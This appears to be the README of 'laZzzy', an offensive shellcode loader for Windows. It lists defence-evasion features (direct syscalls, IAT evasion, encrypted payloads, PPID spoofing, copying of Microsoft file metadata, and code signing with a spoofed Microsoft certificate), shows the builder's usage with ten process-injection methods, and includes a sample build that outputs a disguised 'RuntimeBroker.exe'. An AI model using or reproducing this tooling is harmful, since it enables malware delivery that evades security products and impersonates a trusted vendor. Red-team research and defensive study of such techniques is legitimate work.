laZzzy is a shellcode loader that demonstrates different execution techniques commonly employed by malware. laZzzy was developed using different open-source header-only libraries.
- Direct syscalls and native (
Nt*
) functions (not all functions but most) - Import Address Table (IAT) evasion
- Encrypted payload (XOR and AES)
- Randomly generated key
- Automatic padding (if necessary) of payload with NOPS (
\x90
) - Byte-by-byte in-memory decryption of payload
- XOR-encrypted strings
- PPID spoofing
- Blocking of non-Microsoft-signed DLLs
- (Optional) Cloning of PE icon and attributes
- (Optional) Code signing with spoofed cert
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Windows machine w/ Visual Studio and the following components, which can be installed from
Visual Studio Installer
>Individual Components
: -
Python3 and the required modules:
python3 -m pip install -r requirements.txt
(venv) PS C:\MalDev\laZzzy> python3 .\builder.py -h
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⠀⠀⣿⣿⠀⠀⠙⠿⣷⣦⣴⢿⣿⠄⢀⣾⣿⣿⣶⣶⣶⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
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⠀⠀by: CaptMeelo⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠁⠀⠀⠀
usage: builder.py [-h] -s -p -m [-tp] [-sp] [-pp] [-b] [-d]
options:
-h, --help show this help message and exit
-s path to raw shellcode
-p password
-m shellcode execution method (e.g. 1)
-tp process to inject (e.g. svchost.exe)
-sp process to spawn (e.g. C:\\Windows\\System32\\RuntimeBroker.exe)
-pp parent process to spoof (e.g. explorer.exe)
-b binary to spoof metadata (e.g. C:\\Windows\\System32\\RuntimeBroker.exe)
-d domain to spoof (e.g. www.microsoft.com)
shellcode execution method:
1 Early-bird APC Queue (requires sacrificial proces)
2 Thread Hijacking (requires sacrificial proces)
3 KernelCallbackTable (requires sacrificial process that has GUI)
4 Section View Mapping
5 Thread Suspension
6 LineDDA Callback
7 EnumSystemGeoID Callback
8 FLS Callback
9 SetTimer
10 Clipboard
Execute builder.py
and supply the necessary data.
(venv) PS C:\MalDev\laZzzy> python3 .\builder.py -s .\calc.bin -p CaptMeelo -m 1 -pp explorer.exe -sp C:\\Windows\\System32\\notepad.exe -d www.microsoft.com -b C:\\Windows\\System32\\mmc.exe
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⠀⠀⣿⣿⠀⠀⠙⠿⣷⣦⣴⢿⣿⠄⢀⣾⣿⣿⣶⣶⣶⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
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⠀⠀by: CaptMeelo⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠁⠀⠀⠀
[+] XOR-encrypting payload with
[*] Key: d3b666606468293dfa21ce2ff25e86f6
[+] AES-encrypting payload with
[*] IV: f96312f17a1a9919c74b633c5f861fe5
[*] Key: 6c9656ed1bc50e1d5d4033479e742b4b8b2a9b2fc81fc081fc649e3fb4424fec
[+] Modifying template using
[*] Technique: Early-bird APC Queue
[*] Process to inject: None
[*] Process to spawn: C:\\Windows\\System32\\RuntimeBroker.exe
[*] Parent process to spoof: svchost.exe
[+] Spoofing metadata
[*] Binary: C:\\Windows\\System32\\RuntimeBroker.exe
[*] CompanyName: Microsoft Corporation
[*] FileDescription: Runtime Broker
[*] FileVersion: 10.0.22621.608 (WinBuild.160101.0800)
[*] InternalName: RuntimeBroker.exe
[*] LegalCopyright: © Microsoft Corporation. All rights reserved.
[*] OriginalFilename: RuntimeBroker.exe
[*] ProductName: Microsoft® Windows® Operating System
[*] ProductVersion: 10.0.22621.608
[+] Compiling project
[*] Compiled executable: C:\MalDev\laZzzy\loader\x64\Release\laZzzy.exe
[+] Signing binary with spoofed cert
[*] Domain: www.microsoft.com
[*] Version: 2
[*] Serial: 33:00:59:f8:b6:da:86:89:70:6f:fa:1b:d9:00:00:00:59:f8:b6
[*] Subject: /C=US/ST=WA/L=Redmond/O=Microsoft Corporation/CN=www.microsoft.com
[*] Issuer: /C=US/O=Microsoft Corporation/CN=Microsoft Azure TLS Issuing CA 06
[*] Not Before: October 04 2022
[*] Not After: September 29 2023
[*] PFX file: C:\MalDev\laZzzy\output\www.microsoft.com.pfx
[+] All done!
[*] Output file: C:\MalDev\laZzzy\output\RuntimeBroker.exe
- kokke/tiny-AES-c
- skadro-official/skCrypter
- JustasMasiulis/lazy_importer
- JustasMasiulis/inline_syscall
- Early-bird APC Queue (requires sacrificial process)
- Thread Hijacking (requires sacrificial process)
- KernelCallbackTable (requires sacrificial process that has a GUI)
- Section View Mapping
- Thread Suspension
- LineDDA Callback
- EnumSystemGeoID Callback
- Fiber Local Storage (FLS) Callback
- SetTimer
- Clipboard
- Only works on Windows x64
- Debugging only works on Release mode
- Sometimes, KernelCallbackTable doesn't work on the first run but will eventually work afterward
- Authors of the libraries used
- http://undocumented.ntinternals.net/
- https://doxygen.reactos.org/index.html
- https://github.com/processhacker/phnt
- https://www.vergiliusproject.com/
- https://www.ired.team/
- https://github.com/snovvcrash/DInjector
- https://github.com/aahmad097/AlternativeShellcodeExec
- https://github.com/paranoidninja/CarbonCopy